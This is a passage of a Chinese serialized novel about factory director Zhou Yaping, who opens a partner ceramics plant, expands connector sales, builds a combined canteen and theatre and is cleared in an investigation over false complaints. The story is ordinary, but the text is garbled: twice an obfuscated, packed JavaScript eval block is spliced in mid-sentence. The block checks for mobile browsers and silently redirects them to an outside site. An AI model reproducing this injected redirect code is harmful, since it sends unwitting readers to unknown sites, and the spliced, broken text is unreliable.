周亚平思索了一会,说:“这件事我还真没想过。颜主任,你有什么高招?” “没有高招,但有个好消息,”颜鲁陵高兴地撇撇嘴,“最近,瓦荆陶瓷厂齐厂长找过我,他们的日用瓷销路不好,工厂处于半停工状态。他们想与我们合作,帮我们生产工业电瓷,条件随我们,他们只要求工厂能维持生产,工人能开出工资就行 。” 这个陶瓷厂周亚平以前去过,是个村办的集体企业,主要生产日用瓷碗瓷杯之类的产品,由于产品档次不上不下,经营情况一直不太理想。虽然该厂的生产设备还是老式的,与器材厂未进行设备、工艺改造之前一样,但如果生产通讯电瓷,作为应急措施,还是完全可以的。 “我看这种合作是个互利的好办法,对我们来说可以解决产能不足的问题,对于他们来说能够解决企业亏损的问题。”周亚平也兴奋起来,“而且实施起来也很简单,颜主任,只要从你们车间抽调几名技术骨干去这个厂进行指导,就可以运作起来。” “合作条件怎么拟定呢?”老颜问。 “基本一点是不能让农民兄弟吃亏。这样吧,他们以固定资产入股,我们以技术和市场入股,利润对半平分。具体条款我安排办公室去起草,到时你必须去协助他们拟订合同。”周亚平对颜鲁陵说,“这些都好办,我想到有件难办的事,就是我们派谁去合作厂当厂长?你当然是最合适的,但总厂的生产更重要,你不可以离开。其他人找谁合适呢?” 这确实是个让人挠头的问题,老颜曾想过派自己的副手,去年提拔的车间副主任小许去。仔细考虑又觉不妥,毕竟小许经验、资历都还不足,难以服众。而可以派出的作为技术骨干的几个老师傅,又都文化程度不高,组织能力有限。 两人商量不出结果的这个问题,在第二天召开的厂长办公会上得到了解答。 主管生产的副厂长肖进说:“依我看,这个岗位有一个人最合适,可能是大家一时没想到,只要我说出来,你们一定不会反对。大家想想是谁吧。” “别卖关子了,是谁?快说吧!”冯庭怡催促道。 肖进不慌不忙地说:“这个人不在一线工作,这个人曾经主管过生产,这个人……” 冯庭怡不耐烦地打断他:“我知道了,你说的是赵副厂长。” 赵湘生,已退休的原生产副厂长,是肖进的前任。仔细想想,还真是一个非常合适的人选。无论是资历、经验、能力和人品,都完全胜任。虽然已经退休,但身体还很不错。而且,老赵来自农村,生性随和活泼,最善于与农民打交道。 终于选择到了最佳的合作厂头头,周亚平和大家一样感到高兴。 合作厂的筹办非常顺利,不到一个月的时间,就挂牌营业,对外统称“器材厂瓦荆分厂”。 分厂的开工缓解了器材厂的供销矛盾,为后5个月的产量、产值指标超额完成任务立下了汗马功劳。 周亚平十分清楚,要实现全年各项指标大幅提升,光靠建一个电瓷产品分厂是不够的,还必须采取多种开源增收的门路。 成立电气接插件经营部就是其中重要一招。 当年,集团公司下属的一个企业,开发了电气接插件系列产品,创出了“鸿鹄”商标,集团公司为了将这一品牌产品推向全国,号召各地的下属厂,成立连锁的经销部,业务上由“鸿鹄接插件总公司”负责,行政上由开办企业主管。 周亚平见过这一系列电气接插件的样品,品种繁多,设计美观大方,制作精良,那些日常用到的插头、插座,在“鸿鹄”产品面前,逊色不少。周亚平心想,只要掌握方法,加强销售,就能打开本省及附近几个省的市场,经济效益应该是非常可观的。 由此,器材厂很快成立了“鸿鹄接插件三湘分公司”,为了加强分公司的销售工作,专门把供销科得力干将张伍成调来,担任市场部经理。 分公司迅速开展了工作。销售人员首先分头在全省各地区寻找代理商;同时与各大电器商场紧密协商,争取展销“鸿鹄”的产品;另外,把各大建筑公司、装修公司当成销售的主战场。在大家不懈地努力下,较快地打开了局面。 这天,周亚平正在办公室与肖进商议生产调度方面的事情,有人敲门,随后,张伍成风风火火地走了进来。 “厂长,这件事必须请你出马。” “哎哟,老张,什么事非得我出面?”周亚平感到莫名其妙。 张伍成也察觉自己有点唐突,连忙解释:“厂长,昨天我部门的小侯去市建一公司推销,向他们业务部经理介绍我们的接插件产品,正好他们公司宋总到业务部办事,看到了我们的产品,又询问了一些情况,最后指名道姓地要你去和他们谈合作。” “这个老总叫什么名字?” “叫宋道玄。” 周亚平搜索了一下记忆库,但实在想不起有这么一个熟人:“宋道玄?我好像不认识,他干嘛找我?” “这是真的!他原话是这样说的:‘来谈合作可以,但请你们厂周亚平亲自来谈’。你可能是一时想不起了,他肯定是认识你。” “嗬!有可能,”周亚平说,“算了,不管认识不认识,既然人家要我去谈,那就找个时间去会会他吧。老张,这个公司对产品的需求量大不大?” “非常可观!市建一公司是我市最大的一家建筑公司,每年有不少新建楼盘,都需要安装电气接插件,需要量确实不少。” “那好,明天你陪我去一趟。” 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479013|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天,周亚平处理完工厂杂务,和接插件分公司老张、小侯一起来到了市建一公司办公大楼。 前台小姐听说是来找宋总的,没有马上通报,客气地对周亚平一行说:“对不起,宋总正在开会,请你们下午再来。” 张伍成是个急性子,听说要等到下午,绷不住了:“小姐,我们周厂长是你们宋总专门约了来谈合作的,总不能让我们不见一面就走吧?” 前台小姐素质很高,仍然笑嘻嘻地连声道歉:“对不起!实在对不起!今天的会议非常重要。你们如果愿意等,就请你们在会议室去喝茶。等宋总开完会,我第一时间通报好吗?” 见张伍成还要嘟囔,周亚平止住他,轻声地对前台小姐说:“小姐,如果我们在这里呆呆地等着,也不知要等到何时。你看这样好不好?你进去悄悄地告知一下宋总,就说是器材厂厂长按照宋总的邀约来谈合作,请问他会议还需要多长时间,如果时间太长,我们下午再来。” 前台小姐听这一说法合情合理,只好进去汇报。 没多久,她回到前台,仍然满面笑容地说:“周厂长,请你们到会客室稍坐片刻,宋总很快就来。” 果不其然,前台小姐刚给一行人沏上茶水,宋道玄与秘书就来到了会客室。 “周厂长,对不起,刚才正在开会。贵客来临,怠慢了!”宋道玄微笑着一把握住周亚平的手。 “哪里,哪里!是我们冒昧打扰,影响了贵司的重要会议。”周亚平也客气地笑笑。 周亚平仔细端详宋总,有似曾相识的感觉,但又怎么也想不起在哪里见过面。 宋道玄也看出了周亚平的困惑,解释说:“周厂长,你可能记不起我了。我们是在今年3月市厂长经理研究会上见过面。当然,你是副会长,我只是会员,那么多人,你也不可能都记得住。” “3月的厂长经理研究会?喔,真抱歉!宋总,我记起来了,你们公司有一篇报道:‘锐意改革,走建筑行业创新之路’,在我们研究会例会上宣读过,就是报道你的先进事迹。”周亚平终于对上了号。 “哎,那是粉饰文章,不值一提,倒是你在‘企业家’杂志上发表的文章‘论新厂长的三把火’,我拜读过,确实很有见地,本人深受启发。” “宋总谬赞了!” “相见恨晚,相见恨晚!” 张伍成看两人文绉绉地客套了半天,哪有这个耐心,急着把话题拖入正路:“两位老板都是文化人,请你们看看,我们如何在电气接插件产品上进行合作?” 宋道玄这才回过神来:“对了,周厂长,我看了你们的接插件样品,真是大开眼界,不但品种齐全,而且看起来档次较高,关键是价格还很亲民。哎,我们也真是孤陋寡闻,居然不知道在同一个城市里有这么合适的产品。” “不怪你们,这一系列产品也是投入市场不久,也怪我们宣传力度不够。”周亚平连忙解释。 宋道玄好奇地问:“贵厂不是主要生产通讯器材的吗?怎么现在生产这种民用电气产品?” “这一系列产品是我们集团公司统一组织生产的,我们不过是按照总部的要求,成立分厂,搞连锁经营。企业为了增产增效,也只能多种经营。” 对于周亚平的这一说法,宋道玄连连点头称是。 器材厂一行人在市建一公司总部大楼一直谈到中午时分,还被宋总留下共进午餐。 这一趟收获很大,接插件分公司增加了一个稳定的大客户,周亚平增加了一位志同道合的新朋友。 一系列的增产增效措施见到了成效,器材厂各项指标噌噌往上涨。从工厂的墙报栏上公布的今年三季度完成数据来看,已经大大超过了计划。 这天,周亚平路过墙报栏,被正在观看墙报的接插件分厂的厂长刘拥军叫住:“周厂长,请等一下,我有事找你。” 周亚平停住脚步:“怎么,刘厂长在看墙报。” “是呀,三季度任务完成得不错呀!” “对,你们分厂完成得也很好,数字很亮眼。” 刘拥军叹了口气:“厂长,三季度完成是不错,但恐怕好景不长,‘鸿鹄’总厂想调老张去总部工作,听说你们也同意了,关键时刻抽走我们一个重要的骨干,后面的工作怎么做呀!” “我认真想过,这也是没有办法的事,”周亚平脸色凝重,“你想想,上级单位指名要调他,有什么理由拒绝呢?当然,如果本人不愿意,就是最好的理由,但‘鸿鹄’总部所在地就是老张的老家,大家都知道,他可是一直想调回老家工作,会放过这么好的一个机会吗?” 稍停片刻,周亚平接着说:“如果我们坚决反对调动,闹得别别扭扭,会把与‘鸿鹄’总部的关系搞得很紧张。另外,即使把老张勉强留下来,他也不会有多少工作积极性。与其这样,还不如我们痛痛快快地放他走,这样,他到了总部,也会照顾老厂的利益,对你们分厂不是更好吗!” 刘拥军被说服了,点点头:“嗯,也只能这样办。” 功夫不负苦心人,在全厂职工的努力下,年底算总账,器材厂各项指标全部超额完成当年计划,各项条件完全符合企业全面整顿验收要求。 次年2月,集团公司向器材厂颁发了验收合格证书。 15. 十五 器材厂年终总结大会采取广播大会的形式。除了必须值班的人员,其他职工以车间、科室为单位,聚集在一起收听广播。 由于工厂缺乏一个较大的室内场地,以往的职工大会或庆典活动,都是在露天举行,一般在厂内篮球场临时搭建讲台作为会场。有一次,在盛夏召开的大会上,由于室外阳光直射,气温太高,导致一位工人中暑倒地,被迫紧急送医。此后,器材厂再不敢在露天举行职工大会。 周亚平与几个副厂长坐在小会议室,大会由肖进主持,周亚平做主题报告。 面对麦克风,周亚平把过去的一年里主要工作成效及存在问题一一汇报。从去年7月,部局及省、市联合组织的企业全面整顿预验收后,器材厂认真对待验收组提出的问题,针对薄弱环节,励精图治,全力整改,后五个月取得了较好的成效。从数据看,全年绩效是相当可观的,各项经济技术指标全部超额完成计划指标。 谈到来年的工作安排,周亚平着重谈到“转型”问题,就是要求各个部门、各项工作都要从“生产型”转变为“生产经营型”,重点抓市场,抓新产品开发,抓企业管理基础工作。另外,必须进一步改善职工工作环境,增进职工福利待遇。 其它许多内容,大家都习以为常,没有太大的反应,只是在周亚平具体讲解如何增进职工福利时,谈到提高每月奖金基数,实行超产计件奖,购买镇老医院房产改造成职工住宅等具体措施时,引起了轰动。 一时,各个车间、科室都止不住地议论起来,特别是对收购镇老医院一事反响强烈。 “太好了,英明决策!” “中心位置,多好的地段,今后再也找不到了。” “改造好后,本人强烈申请居住。” …… 这也确实是一个难得的机遇。老的镇人民医院坐落在中心城区一块高地上,地理位置极佳。由于人民医院已搬迁到城郊新址,老医院房屋去留一直未定,虽然镇医院大部分职工对老址有很深的感情,舍不得出卖,但囿于资金紧张,无奈只有割爱。 由于龚书记与人民医院院长过去是同事,关系一直不错,故第一时间得到这一消息。经研究,器材厂决定收购。 广播大会临近结束,肖进宣布好消息:“同志们,为庆贺去年生产经营工作取得的好成绩,晚上8时在篮球场放映香港电影‘少林寺’。另外,还有一件喜事,我们厂新购了两台35毫米的放映机,今晚首次亮相,双机放映,不需换片。” 各个分会场掌声雷动。 全厂大会结束后,人们还在议论晚上放电影的消息。“少林寺”这部电影当时红得发紫,那个年代,文化生活相对贫乏,尽管这只是一部复映片,而且有的人通过各种途径都看过好几遍了,但毕竟在器材厂还是首映,年轻人又特别喜爱这种武打片,因而大家还是止不住的兴奋。另外,这次的放映设备鸟枪换炮,由原来的16 毫米单机放映换成35毫米双机放映,更让全厂职工高兴不已。 现在的人们可能没有几个人知道,放映电影时,16 毫米影片不但画面大小无法与35毫米影片相比,而且光亮度、清晰度也都不可同日而语。另外,单台放映时特别烦人的是,放完一盘影带,必须换另一盘影带,一换就得等好几分钟。试想,电影正看到精彩之处,突然停下等着换片,那是一种多么折磨人的滋味。 电影正式开映时间是晚8点,从7点开始就陆续有人搬着板凳在球场上抢占位置。 电影准时开映,篮球场上坐满了人,黑压压的一片,除了银幕前面,银幕后面也坐满了人。 周亚平的夫人沈珍钰是工厂兼职的放映员,今天晚上的电影就是她与一位搭档一起放映。按她的说法,这工作也是不讨人喜欢的苦差事。除了换片时手脚稍慢一点就招人辱骂,放映时,一旦银幕上出现花片或断片,观众哪里知道这是老影片由于放映次数太多造成的问题,而是不停地抱怨放映员技术差劲、手艺不精,什么脏话、丑话一股脑地甩过来。 “日出嵩山坳,晨钟惊飞鸟。林间小溪水潺潺,坡上青青草……” 随着悠扬动听的“牧羊曲”响彻夜空,观影群众的愉悦情绪也达到了顶点,许多人情不自禁地跟着哼唱。 此时,谁也没有注意到天气已经起了变化,霎那间乌云密布,一声炸雷把所有人吓了一跳。不久,小雨淅沥淅沥地下了起来,紧接着,雨越下越大。 顿时,球场上的人群乱成了一窝蜂,小孩哭、大人叫,纷纷抱头奔离,去找避雨场所。 一场文化盛宴却以扫兴结局。 第二天,看电影被浇成落汤鸡这件事成了器材厂的中心话题。谩骂的,挖苦的,调侃的,说什么的都有,但归根到底抱怨地是工厂没有一个能放电影的室内场地。 群众议论纷纷,领导们也不消停,几个正副厂长正在周亚平办公室研究工作,显然也受此事的影响,情绪都不高。 周亚平见大家都有点萎靡不振,用开玩笑的口吻说:“昨晚看电影是不是都被雨浇蔫了,打不起精神来?没关系,干脆我们厂盖一个漂亮的电影院,以后就可以安心看电影了。” 大家知道,周厂长不过是说说取乐。在当时,上级机关严令禁止企业建设“楼堂馆所”,所谓“楼堂馆所”,大概包括办公楼、大礼堂、宾馆及招待所等等,因此,想盖电影院,确实是痴人说梦。 不过,这句玩笑话却提醒了主管后勤的欧阳昭民。很长时间来,工厂没有大的室内场地的这个困惑一直在他脑海里转悠,什么办法才能解决呢?他设想过多种方案,又一一被自己否定,但现在,一个成熟的主意突然浮现出来,他一拍脑袋,大声说:“厂长,你不要以为这只是玩笑,还真有可能实现。” 冯庭怡笑了笑:“欧阳厂长,别再想这件不可能的事了。中央文件白纸黑字,禁止企业建设项目规定得很明确,就是指电影院一类的项目。没听说隔壁厂申请建一个招待所,很快就被驳了回来。” “你看、你看,我说你老冯少根筋吧。自上次部局批准我们宿舍移地大修,我算是明白了这里的诀窍,申报项目必须顺着上面的思路走,而且必须符合相关的政策规定。我们如果单纯申报影剧院项目,百分之两百会被枪毙。但是,大家想想,我们要盖一个大的室内场地,难道就是为了看电影、看文艺节目吗?我们厂搞庆典、开职工大会多年来不都是缺少一个室内场地吗?在室外烈日下举行,闹得员工中暑送医院,这样的例子还不够我们引起重视?再说我们的食堂,别看现在还勉强够用,这是因为近几年招的新员工不是太多,而结婚成家的较多,因此在食堂吃饭的人少了。但如果今后扩大招工,就餐人员激增,现有食堂也是不够用的。” 看到大家都在静静地听自己分析,欧阳昭民更来劲了:“由此看来,我们报一个基建项目,把这三项需求都涵盖进去,岂不就容易通过?” “对呀!”肖进也受到启发,“项目名称就叫‘三用食堂’,名正言顺,应该没有问题。” “‘三用食堂’,好啊,这个名称好。” “行!就这么申报建设项目。” …… 周亚平一看会议的主题变成了讨论基建项目,而且无法拉回到原来讨论的主题上来,也只好顺着大家的话题走:“欧阳厂长,今年计划收购老医院需要一大笔钱,后续改建装修还要准备资金,这是必须确保的。至于新项目……” 欧阳昭民打断他的话:“厂长,老医院收购可分期付款,‘三用食堂’如能批下来,今年的资金是没有问题的。” 趁热打铁,与会人员就这一项目的规模、选址等进行了初步的研究。最后达成一致意见,将“三用食堂”项目列入今年基建计划,立即起草文件向上申报;同时,要求总务部门开展工程设计及费用预算等工作。 接到厂部指令后,徐茂林和熊工忙碌起来。 只要有设计任务,熊工都很开心,像“三用食堂”这样重大的设计项目,更让他欣喜若狂。 作为器材厂职工的一员,他和大家一样,对企业没有一个开大会和放映电影、文艺演出的室内场地深感不便。虽然没有任何人给他明示,但他心照不宣地知道,所谓“三用食堂”,食堂作用只是其次,目前的食堂是够用的,职工期盼的主要是一个娱乐活动场所。 因此,在进行设计时,他考虑更多的是影剧院的功能。比如在建筑物的后部,设置专业的舞台;在建筑物的前楼,设置专门的电影放映室。再如,室内的音响效果,完全按剧场要求设计。用熊工自己的话说,要求演员在台上唱歌时,送到剧场内每个方位的声音响度、音质都必须一样。 为此,熊工特意考察了省内几个有名的影剧院,还到省建筑设计院向一位专门从事影剧院设计的同门师兄多次请教。 “三用食堂”的基建报告递交后,很快就得到总部的批准。本来此项目器材厂作好了资金全部自筹的准备,但居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479014|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得了总部30%的特别拨款。估计,上级单位也是真正体谅下属单位的苦衷,默默地予以支持。 “三用食堂”正式开工后,在开挖地基时遇到麻烦。 住在工厂周边的两家农户跑到工地,阻止施工,理由是他们有菜地在施工现场。一个姓刘的大汉拿把锄头站在施工的推土机前,一副要拼命的架势,另一位姓曹的老汉则干脆一屁股坐在正在开挖的地基上,说什么也劝不起来。 得到消息,欧阳昭民和陆晓天急忙赶到现场。 陆晓天在施工人员的陪同下,苦口婆心地给两位农民做思想工作:“有什么事可以商量。但你们这种阻扰施工的行为是违法的,我们完全可以强行执法,将你们拖离。看在我们是邻居的面子,请你们自觉离开,免得伤了和气。” “没那么容易!”握锄头的大汉怒目相视,“我们辛辛苦苦种的蔬菜,说挖就挖?对不起,先谈好补偿费,才能开工。” 欧阳昭民开口了:“老乡,你们可能不清楚,这块施工的土地,是我们厂早已办好征购手续的。你们在这里种菜,本身就是不合法的。以前没有基建任务,我们也就睁一只眼闭一只眼。现在要在自己的地盘搞建设,自然不需要再办什么补偿手续。请你们赶快让开。” 坐在地上的老汉瞪大眼睛说:“别蒙我,那个叫什么‘青苗赔偿费’都是有的,怎么到了你们这就没有了?” 已经把道理讲清了的欧阳昭民,见老汉胡搅蛮缠,仍在提补偿费,真是哭笑不得。欧阳知道,现在的态势,单靠说理是不行的,但如果像老陆说的动强,势必影响到与乡邻的关系,今后的麻烦事更多。想了想,向施工现场的管理人员喊道:“小金,去把曹晋宝叫过来。” 曹晋宝是五车间一位青工,是曹老汉的亲侄儿。 曹晋宝闻讯赶来,见到这种场面也很吃惊,走过去就拉住老汉的手,想把他扶起来:“大伯,你这是干什么?” 曹老汉说什么也不起身:“宝伢子你不要管,这事我们占理,不给青苗补偿费,这事过不去。” 曹德宝只好又走到刘大汉的身边:“刘哥,你是通情达理的,这块地是厂里早就征购好的,所有费用包括青苗补偿费也早已付清。你们这样闹是没有道理的。” 姓刘的汉子不为所动:“我不管,只要给钱我就走。” 事情陷入僵局。 围观的人越来越多,除了厂里的职工,还陆续来了很多住在附近的农民。 不知何时,器材厂工会主席王树禄也到了现场,这时,他站了出来,向乡邻们喊话:“乡亲们,你们知道,现在正在建设的是什么项目吧?” 有人回答:“知道,不就是什么‘三用食堂’。” “对!什么叫‘三用食堂’?非常重要的一项用途就是影剧院功能。就是放电影,看戏剧,看文艺节目。大家都在我们厂露天场看过电影吧,当然,露天场的效果不太好,有时碰到下雨什么的,那就更不痛快。如果盖成了这个影剧院,看电影就跟镇上大剧院一样。另外,还可以请市里的、省里的戏班子来演戏,请大歌星来唱歌。就在你家附近增加了这么一个影剧院,方便大家看电影、看戏剧,这是一件大好事呀!你们说,老刘与曹伯这样阻拦有道理吗?” 听王主席这么一说,人群炸开了锅,七嘴八舌地议论开了。 “是呀,器材厂什么时候都把我们当成自己人,他们的剧院不就是我们的剧院么,干嘛要给人家为难?” “人家自己的土地搞建设,你凭什么要补偿?你种菜人家没找你要土地租金就不错了。” “刘傻个,曹老头,让开!让开!” “让开!让开……” 在众乡邻的怒吼声中,刘大汉与曹老头终于乖乖地离开了工地。“三用食堂”的施工恢复了正常。 当年底,2000多平方米的宏伟建筑“三用食堂”按期完工。 美观大方,装饰一新的建筑物吸引了众人的围观,镇上许多人闻讯赶来观望。 有人啧啧称奇:“哎,没想到,这个影剧院这么漂亮,设备这么齐全,跟镇上的影剧院有得一比。” 器材厂工会承办了新建筑物的第一场演出,专门请市歌舞剧团演出歌舞节目。演出前,工会派人给工厂周边的农户挨门发票,乡民直呼器材厂真够意思,说话算数。 从此,器材厂的文娱生活越来越丰富,职工开大会,工厂搞庆典也都有了一个理想的室内场地。 16. 十六 又是一个初春的星期日,风和日丽,柳暗花明。周亚平早早起床后,在洗手间忙着洗漱。妻子沈珍钰奇怪地问:“平时周日都要睡会懒觉,今天怎么呐,这么早就起床了?” “今天有事,要去办公室,你赶快把昨晚的剩饭剩菜热一下。” 草草吃了点东西,周亚平赶忙来到办公室。 前天接到市经委通知,南方八省(区)厂长(经理)研究会联席会议召开在即,征集各会员单位企业管理方面的论文。本市厂长经理研究会把撰写论文的任务分派给了几位会员,其中就有周亚平。 重任在身,不敢懈怠,平时工作忙,无暇写作,今天是休息日,正好用来完成任务。 论文的标题及基本内容,周亚平是打了腹稿的,标题就是:“厂长基本功一谈。”摊开稿纸,周亚平信笔写来。 “各行各业,各项工作都有自己的基本功,农民的基本功是扶犁掌耙,战士的基本功是射击刺杀,相声演员的基本功是说学逗唱,篮球运动员的基本功是运球投篮。 企业厂长(经理)的基本功固然要复杂些,并非三言两语能说得清楚。但是,其中有一项十分重要而又容易被人忽视的,这就是抓企业基础工作的基本功,值得我们深入再认识。” “何谓企业管理基础工作,过去众说纷纭,莫衷一是,现在基本上统一为这样几项:标准化工作,计量工作,信息工作,以责任制为核心的规章制度,职工基础教育。”…… 写文章这事很有意思,灵感未到时,半天憋不出一个字;灵感一到,文思如涌。此时的周亚平,正是下笔如有神的时候,刷刷地写了一大篇。但就在这个时候,“砰砰”的敲门声把周亚平惊醒。 开门后,进来的是罗文轩。 “厂长,我上你家去找你,说你在办公室,这才找过来。”罗文轩解释。 “文轩,先坐下来!什么事?” “隔壁省的兄弟厂打电话来,说总部干部处的吴处长今天上午从他们那里搭飞机来我市,大概中午十二点多钟到达,让我们去机场接机。” “哦,有点奇怪,总部人员从来没有星期日来基层单位的先例,看来情况有点特殊。” “是呀,兄弟厂的同志也感到不解,原本在他们厂还有三、四天的行程安排,今天说走就走。说是接到集团总裁的指令。” 周亚平把桌上的文稿整理好,说:“文轩,不管怎么回事,你去通知司机,准备好车,我们早点出发,接回吴处再吃午饭。” 接回吴处长并吃完午饭已是下午两点多钟,周亚平想送吴处长去旅店休息,吴处长没有答应,反而对周亚平说:“周厂长,请你把党委书记叫来,我们碰个头,我把这次的来意跟你们说说。” 老书记龚长贵已经退休,新上任的党委书记姓孔,是个部队转业干部,叫孔国防。 小会议室里,只有周亚平、孔国防和吴处长三人,吴处长面色庄重地对二人说:“二位厂领导,我这次到你们厂来,是计划外的。临时接到总裁通知,让我专程跑一趟。” 稍停,继续说:“按说,你们厂是集团公司下面的优秀单位,多年来各方面的反映还是很不错的。但是,近一段时间来,总部收到不少关于你们厂的投诉、举报信函,另有你们省、市政府□□办转来的各种投诉、举报函件。内容五花八门,有举报你们违法乱纪的,有批评你们用人不当的,有指责你们以权谋私的。最重要的是投诉你们班子不够知识化,不尊重知识,不尊重知识分子,甚至打击知识分子。当然,孔书记你上来不久,这些投诉主要是针对周厂长的。” 孔国防听了大吃一惊:“啊,有这样的投诉?不可能呀,周厂长哪有做过这些事?” 吴处长严肃地说:“你们不要轻易否定群众的意见,先认真检查自己的所作所为。” “没关系,孔书记,吴处这次来肯定是要进行详尽的调查研究,相信这些事情是可以搞清楚的。” 周亚平继而对吴处长说:“吴处长,您有什么安排,尽管跟我们说,因主要调查我的问题,我本人应该回避,不便出面,但孔书记和其他同志会全力协助你完成这次任务。” 把吴处长送去旅店休息后,周亚平回到办公室,一时心乱如麻,再也无法集中精力书写论文。 要说是听到有人投诉、举报,就心烦意乱,倒也不至于。周亚平担任厂长职务以来,各种名目的“告状”(投诉、举报)就没有中断过,时不时有上级部门转回来的信函。但凡是工厂为职工做一点好事,谋一点福利,都会有人向上级部门“告状”。 周亚平上任第一年,工厂像其它许多企业一样,给每个职工定制一套毛料制服,号称“厂服”,这样的小事居然也有人去投诉。后来,工厂组织几个人,用剩余的木料和人造革,为厂里每家每户制作了一套当时还颇为时髦的沙发,也被人举报。至于调工资,建宿舍,造幼儿园,改造厂容厂貌,增加奖金福利,几乎每件事都有人向上“告状”。 为了解决职工业余文化生活及工厂大型集会、活动所需,工厂建设的“三用食堂”,也被人告到部、省机关,说这是周亚平巧立名目,弄虚作假,违反国家三令五申的政策而为。更为过分地是还在群众中散布流言蜚语,恶毒攻击,称“三用食堂”为“周亚平纪念堂”。 所以,对于所谓的投诉、举报,周亚平早已司空见惯,有些麻木了。而且自知这一切都是为工厂谋发展,为职工谋福利,心安理得,无愧无悔。 可是,今天吴处所说的各项投诉,可都是讲的周亚平的私德,尽管周亚平心里非常清楚,这都是莫须有的罪名,但这么集中、这么无耻地杜撰这些材料上告,究竟是为了什么? “相信组织,相信群众,其它都不要管,干好自己的事!”周亚平在心里暗暗地安慰自己。 周亚平继续进行论文写作,一直到晚上11点多钟,论文初稿终于完成。但后来召开的南方八省(区)厂长(经理)研究会联席会议上,却是周亚平的另一篇论文“我是怎样烧‘三把火’的”被评选为“优秀论文”,并在“企业家”杂志上发表。 第二天,周亚平照常按自己的工作套路工作。 孔书记则陪同总部吴处长召开各种类型的座谈会,并按照吴处的要求,通知各类人员接受吴处的面谈。 转眼差不多一个星期了,周五下午,吴处长单独约了周亚平在住处见面。 “周厂长,近来辛苦了!”吴处和颜悦色地说。 “不辛苦,我们在基层搞企业,天天都是这个样子。”周亚平坦然地回答。 “我知道,这段时间,不是身累,应该是心累。这么多不实之词堆砌在你身上,谁也不会好受。” 周亚平笑笑:“还好,习惯了。” “其它事情基本上都已查清楚,这些所谓的投诉,有的是诬陷,有的是夸大其词,有的是闹乌龙。我回去后会如实向总部党组汇报,但有一件事,我还必须向你求证。当年电视机还比较紧俏的时候,你曾经用一张电视机票买过一台电视机,这张票是怎么得来的?” 周亚平毫不犹豫地回答:“这张票是市厂长经理研究会发给我的,每个会员都有。” 吴处长舒了口气:“我就说吗,这也算‘以权谋私’,莫名其妙!” 次日,吴处长踏上了返程的飞机,器材厂又恢复了常态。 但没过多久,孔国防又接到集团公司电话通知,说几天后会有一个由各个直属厂派人组成的调研组将到器材厂,进行领导班子专项调研。 孔国防放下电话,立即赶到周亚平办公室,告知这件事。 “周厂长,吴处长不是刚走吗,怎么又派这么多人来我们厂‘调研’?” 周亚平也感到纳闷,吴处长走前讲得很清楚,器材厂的事已经基本查清楚了,怎么总部还要兴师动众地组织各个直属厂来人调研? “不行,我必须给总部干部处打个电话,问问到底什么情况。”孔国防走向电话机旁。 周亚平还在犹豫:“孔书记,直接去问,不太好吧?” 孔国防愤愤不平地说:“管不了那么多了,这不是折腾人吗。” 给吴处长的电话很快就拨通了,孔国防迫不及待地问:“吴处长,我们接到通知,说过几天有一个由各个直属厂派人组成的调研组来我厂,进行领导班子专项调研。您不是刚来过吗,还有什么问题没查清楚呀?” 电话那头的说话有点支支吾吾:“啊,是的,是有这么回事。不就是‘调研’吗,没有调查就没有发言权,这是老人家说的。上次是我一个人,这次多一些人去不是会更好地、更全面地了解情况吗。告诉周厂长,没关系,真金不怕火炼,你们好好准备吧。”说完就挂机了。 几天后,联合调研组来到器材厂,人员众多,架势很大,除了有不少直属厂派来的人员,总部和市委组织部门也都有人参加。看来,这些成员并不了解器材厂的真实情况,听上面说要对领导班子进行调研,一般都估计一定是这个厂领导成员有重大问题,总部才下此决心。 因此,调研组刚进厂时,局面有些紧张,气氛非常压抑。 周亚平仍然不管不顾,埋头自己的工作,连给调研组的接风餐和他们与中层干部的碰头会都是孔国防一手打理。 几天来,调研组成员分头深入车间、科室,进行座谈、走访、探查,层面之广,调查之细,前所未见,简直像要把工厂翻个底朝天。 一周后,调研组的总结会,当陈组长——一个直属厂的党委副书记开场白后,会场气氛有些冷,没有人接着发言。 老陈使劲地鼓励大家发表意见:“同志们,我们来这里已经一个多星期了,经过这么多天的调查研究工作,大家一定对器材厂的情况有了深入的了解,也一定有很多自己的看法和想法。都说说吧,不要有顾虑,有什么说什么。” 调研组中,一个戴着眼镜的中年人开腔了:“我原来担心我说的内容违反了我们这次调研工作的宗旨,不太想发言,但既然陈组长说了,有什么说什么,我就直言不讳了。我在我们厂担任纪委书记,这次领导派我来器材厂调研领导班子,我第一想法是肯定这个班子出了大问题,因此派我们来诊断,以便总部动大手术。经过这段时间的调研,我怎么感到,好像不是来诊断治病的,而是来学习取经的。这个企业的厂长,可能是有意避嫌,我都没见过几次,但关于他的事迹,却在职工群众中听到很多,但大都是正面的、积极的。要我们来调查他的问题,至今,我都不明白究竟是怎么回事?” “是呀!如果所有的企业领导都像周亚平这样为人处事,治理企业,哪有企业不能振兴的道理?”有人附和地说。 市委组织部派来的一位科长也发表了自己的观点:“我这几天也把器材厂领导班子的情况及时地向领导做了汇报,领导研究后的意见是,如果贵集团干部较多,不打算用周亚平,我们市正需要这样的干部,希望能调给我们。” 众人七嘴八舌议论起来,基本的论断是,从整体来看,器材厂是一个好的企业,领导班子是一个好的班子,周亚平是一个好厂长。 